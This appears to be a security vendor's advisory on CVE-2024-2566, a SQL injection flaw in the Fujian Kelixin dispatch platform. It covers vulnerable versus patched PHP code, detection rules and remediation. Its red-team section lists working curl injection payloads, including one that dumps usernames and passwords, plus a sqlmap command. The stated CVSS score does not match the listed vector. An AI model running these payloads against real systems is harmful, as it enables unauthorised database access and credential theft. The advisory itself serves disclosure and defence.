CVE-2024-2566

Executive Summary

CVE-2024-2566 is a critical SQL injection vulnerability in the Fujian Kelixin Communication Command and Dispatch Platform, affecting versions up to the 20240313 release. The flaw resides in the /api/client/get_extension_yl.php endpoint, where the imei parameter is not sanitized before being used in a database query. An unauthenticated attacker can exploit this remotely to execute arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, or lateral movement within the network. The exploit has been publicly disclosed, increasing the risk of widespread attacks. No official patch is available, and the vendor has not responded to disclosure attempts.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary Chinese communication platform. Organizations using this platform should treat it as a high-risk supply chain component and consider immediate isolation or replacement.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – vulnerability affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – full database read access.
• Integrity Impact: High (I:H) – ability to modify or delete data.
• Availability Impact: High (A:H) – potential for denial of service via SQL manipulation.

Threat Level: Critical. The combination of public exploit, no patch, and remote unauthenticated access makes this a top priority for remediation.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the imei parameter of the get_extension_yl.php API endpoint. The application likely constructs a SQL query by directly concatenating user input without proper sanitization or parameterized queries. For example:

$imei = $_GET['imei'];
$query = "SELECT * FROM extensions WHERE imei = '$imei'";
$result = mysqli_query($conn, $query);

An attacker can inject SQL commands by providing a crafted imei value, such as:

' OR '1'='1' -- 

This would result in the query:

SELECT * FROM extensions WHERE imei = '' OR '1'='1' -- '

The -- comments out the rest of the query, allowing the attacker to bypass authentication or retrieve all records. More advanced payloads can be used for UNION-based data extraction, time-based blind injection, or even file system access if the database user has sufficient privileges.

The platform is built on PHP and likely uses MySQL or MariaDB. The lack of input validation and prepared statements is the root cause.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

<?php
$imei = $_GET['imei'];
$query = "SELECT * FROM extensions WHERE imei = '$imei'";
$result = mysqli_query($conn, $query);
// ... process result
?>

Patched Code (Using Prepared Statements):

<?php
$imei = $_GET['imei'];
$stmt = $conn->prepare("SELECT * FROM extensions WHERE imei = ?");
$stmt->bind_param("s", $imei);
$stmt->execute();
$result = $stmt->get_result();
// ... process result
?>

The patched version uses parameterized queries, which separate SQL logic from data, preventing injection. Additionally, input validation (e.g., checking that imei is alphanumeric) should be implemented as a defense-in-depth measure.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Fujian Kelixin Communication Command and Dispatch Platform (any version up to 20240313).
• Network access to the /api/client/get_extension_yl.php endpoint.

Exploit Steps:

1. Identify the vulnerable endpoint:

   curl -v "http://target/api/client/get_extension_yl.php?imei=test"
   

2. Confirm SQL injection with a time-based payload:

   curl "http://target/api/client/get_extension_yl.php?imei=1' AND SLEEP(5)-- -"
   

   If the response is delayed by 5 seconds, the injection is confirmed.

3. Extract database version:

   curl "http://target/api/client/get_extension_yl.php?imei=1' UNION SELECT @@version,2,3-- -"
   

4. Enumerate tables:

   curl "http://target/api/client/get_extension_yl.php?imei=1' UNION SELECT table_name,2,3 FROM information_schema.tables-- -"
   

5. Dump credentials:

   curl "http://target/api/client/get_extension_yl.php?imei=1' UNION SELECT username,password,3 FROM users-- -"
   

Automated Exploitation with sqlmap:

sqlmap -u "http://target/api/client/get_extension_yl.php?imei=1" --batch --dbs

Blue Team (Defensive)

Detection & Response:

1. Monitor for anomalous SQL patterns in web logs:

   • Look for imei parameters containing SQL keywords (UNION, SELECT, SLEEP, OR, AND).
   • Alert on requests with imei values longer than expected (e.g., > 50 characters).

2. Network-level detection:

   • Deploy a WAF rule to block requests with SQL injection patterns in the imei parameter.
   • Use Suricata rules (see Detection Engineering) to detect exploit attempts.

3. Immediate containment:

   • If the platform cannot be patched, block access to the /api/client/get_extension_yl.php endpoint at the firewall or reverse proxy.
   • Isolate the server from critical network segments.

4. Forensic analysis:

   • Check database logs for suspicious queries.
   • Review web server access logs for the imei parameter.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /api/client/get_extension_yl.php with imei parameter containing SQL keywords.
  • Outbound database connections from the web server to unusual IPs (data exfiltration).
  • Unusually long response times (time-based injection).

• File IOCs:

  • Suspicious files in the web root (e.g., webshells uploaded via INTO OUTFILE).
  • Modified PHP files in the /api/client/ directory.

• Log IOCs:

  • Web server logs showing imei values with ', --, UNION, SLEEP, etc.
  • Database logs showing queries with UNION SELECT or INTO OUTFILE.

Detection Engineering

YARA Rule

rule CVE_2024_2566_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-2566 in Fujian Kelixin Communication platform"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-2566"
    strings:
        $s1 = "imei=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "SLEEP" nocase
        $s5 = "OR " nocase
        $s6 = "AND " nocase
        $s7 = "--" nocase
        $s8 = "get_extension_yl.php" nocase
    condition:
        all of ($s1, $s8) and 1 of ($s2, $s3, $s4, $s5, $s6, $s7)
}

Sigma Rule

title: CVE-2024-2566 SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against Fujian Kelixin Communication platform
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2566
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: 
            - "imei="
            - "get_extension_yl.php"
        cs-uri-query|contains|any:
            - "UNION"
            - "SELECT"
            - "SLEEP"
            - "OR "
            - "AND "
            - "--"
    condition: selection
falsepositives:
    - Legitimate use of the word "union" in a non-SQL context (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-2566 SQL Injection Attempt"; flow:to_server,established; content:"/api/client/get_extension_yl.php"; http_uri; content:"imei="; http_uri; pcre:"/(UNION|SELECT|SLEEP|OR\s|AND\s|--)/i"; sid:1000001; rev:1; reference:cve,2024-2566;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the platform: If the system is internet-facing, immediately restrict access to trusted IPs only or take it offline.
2. Block the vulnerable endpoint: Use a reverse proxy or WAF to block requests to /api/client/get_extension_yl.php.
3. Apply virtual patching: If a WAF is available, create a rule to block SQL injection patterns in the imei parameter.

Long-term Fix:

1. Contact the vendor: Since no patch is available, pressure the vendor (Fujian Kelixin Communication) to release a security update.
2. Rewrite the code: If you have access to the source code, implement parameterized queries as shown in the patched code section.
3. Replace the platform: Consider migrating to a supported alternative communication platform.

Compensating Controls:

• Implement strict input validation (allow only alphanumeric characters for imei).
• Use a Web Application Firewall (WAF) with SQL injection signatures.
• Enable detailed logging and monitoring for the vulnerable endpoint.
• Apply the principle of least privilege to the database user used by the application.

Valters IT
Securing Digital Frontiers